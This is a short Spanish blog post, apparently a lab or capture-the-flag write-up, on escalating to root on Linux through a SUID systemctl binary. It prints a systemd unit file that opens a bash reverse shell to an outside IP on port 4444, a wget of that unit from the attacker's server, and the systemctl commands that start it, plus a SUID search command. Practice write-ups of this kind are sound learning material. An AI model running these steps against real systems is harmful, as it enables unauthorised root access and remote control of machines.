Buscar

03 agosto 2021

Escalada de privilegios en Linux (systemctl )

En una de tantas plataformas con máquinas para practicar, me he encontrado una que tenía una escalada de privilegios que aún no había visto. Es por esto que comparto esta mini entrada.

Si quieres saber como lo he conseguido, sigue leyendo.

Una vez que había conseguido el acceso inial a la máquina (web shell en una subida no controlada de ficheros, de la que ya hablé aquí), para la escalada me he topado con esto:

Primero buscar los permisos:

find / -user root -perm -4000 -exec ls -ldb {} \;

Creamos un fichero root.service con lo siguiente:

[Unit]
Description=culo

[Service]
Type=simple
User=root
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/10.8.205.193/4444 0>&1'

[Install]
WantedBy=multi-user.target

Transferimos ese fichero a la máquina vulnerada. Para ello levantamos un servidor en Python en la Kali.

En la máquina vulnerada nos vamos a /tmp y hacemos un wget a:

wget http://10.8.205.193:8000/root.service


 *Si no tiene wget la máquina, hay que buscarse la vida, tienes este recurso para ello.

Una vez que tenemos el fichero, hacemos:

/bin/systemctl enable /var/tmp/root.service

Eso nos devuelve:



Ahora nos ponemos a la escucha en la Kali con Netcat por el puerto 4444 (el que habíamos definido antes) y ejecutamos en la máquina comprometida:

/bin/systemctl start root

Esto nos devuelve una shell de root en el Netcat que estaba a la escucha.


Y con eso ya podemos sacar la flag de root.

Al final solo es una forma más de escalar privilegios a través de la revisión de los permisos que tiene el usuario para ejecutar algo como root.

Nos vemos en la siguiente.

0 comentarios:

Publicar un comentario